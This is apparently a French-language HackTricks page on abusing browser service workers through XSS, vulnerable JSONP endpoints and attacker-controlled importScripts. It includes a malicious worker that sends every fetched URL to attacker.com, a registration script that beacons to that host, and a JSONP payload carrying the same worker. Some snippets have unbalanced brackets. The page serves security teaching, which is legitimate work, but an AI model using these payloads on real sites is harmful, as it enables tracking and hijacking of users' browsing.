Abusing Service Workers

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en Équipe Rouge AWS de HackTricks)!

Groupe de Sécurité Try Hard


Informations de Base

Un travailleur de service est un script exécuté par votre navigateur en arrière-plan, séparé de toute page web, permettant des fonctionnalités qui ne nécessitent pas une page web ou une interaction utilisateur, améliorant ainsi les capacités de traitement hors ligne et en arrière-plan. Des informations détaillées sur les travailleurs de service peuvent être trouvées ici. En exploitant les travailleurs de service dans un domaine web vulnérable, les attaquants peuvent prendre le contrôle des interactions de la victime avec toutes les pages de ce domaine.

Vérification des Travailleurs de Service Existants

Les travailleurs de service existants peuvent être vérifiés dans la section Travailleurs de Service de l'onglet Application dans les Outils de Développement. Une autre méthode consiste à visiter chrome://serviceworker-internals pour une vue plus détaillée.

Notifications Push

Les autorisations de notification push impactent directement la capacité d'un travailleur de service à communiquer avec le serveur sans interaction directe de l'utilisateur. Si les autorisations sont refusées, cela limite le potentiel du travailleur de service à poser une menace continue. En revanche, accorder des autorisations augmente les risques de sécurité en permettant la réception et l'exécution d'exploitations potentielles.

Attaque Créant un Travailleur de Service

Pour exploiter cette vulnérabilité, vous devez trouver :

  • Un moyen de télécharger des fichiers JS arbitraires sur le serveur et un XSS pour charger le travailleur de service du fichier JS téléchargé

  • Une requête JSONP vulnérable où vous pouvez manipuler la sortie (avec du code JS arbitraire) et un XSS pour charger le JSONP avec une charge utile qui chargera un travailleur de service malveillant.

Dans l'exemple suivant, je vais présenter un code pour enregistrer un nouveau travailleur de service qui écoutera l'événement fetch et enverra au serveur des attaquants chaque URL récupérée (c'est le code dont vous auriez besoin de télécharger sur le serveur ou de charger via une réponse JSONP vulnérable):

self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

Et voici le code qui va enregistrer le worker (le code que vous devriez pouvoir exécuter en abusant d'un XSS). Dans ce cas, une requête GET sera envoyée au serveur des attaquants pour notifier si l'enregistrement du service worker a réussi ou non:

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

En cas d'abus d'un point de terminaison JSONP vulnérable, vous devez placer la valeur à l'intérieur de var sw. Par exemple:

var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";

Il existe un C2 dédié à l'exploitation des Service Workers appelé Shadow Workers qui sera très utile pour abuser de ces vulnérabilités.

La directive de cache de 24 heures limite la durée de vie d'un service worker (SW) malveillant ou compromis à au plus 24 heures après la correction d'une vulnérabilité XSS, en supposant un statut client en ligne. Pour minimiser la vulnérabilité, les opérateurs de site peuvent réduire le Time-To-Live (TTL) du script SW. Les développeurs sont également invités à créer un interrupteur d'arrêt du service worker pour une désactivation rapide.

Abus de importScripts dans un SW via le DOM Clobbering

La fonction importScripts appelée depuis un Service Worker peut importer un script depuis un domaine différent. Si cette fonction est appelée en utilisant un paramètre qu'un attaquant pourrait modifier, il pourrait importer un script JS depuis son domaine et obtenir une XSS.

Cela contourne même les protections CSP.

Exemple de code vulnérable :

  • index.html

<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
  • sw.js

const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker

Avec le DOM Clobbering

Pour plus d'informations sur ce qu'est le DOM Clobbering, consultez :

pageDom Clobbering

Si l'URL/domaine utilisé par le SW pour appeler importScripts est à l'intérieur d'un élément HTML, il est possible de le modifier via le DOM Clobbering pour que le SW charge un script depuis votre propre domaine.

Pour un exemple, consultez le lien de référence.

Références

Groupe de sécurité Try Hard

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Dernière mise à jour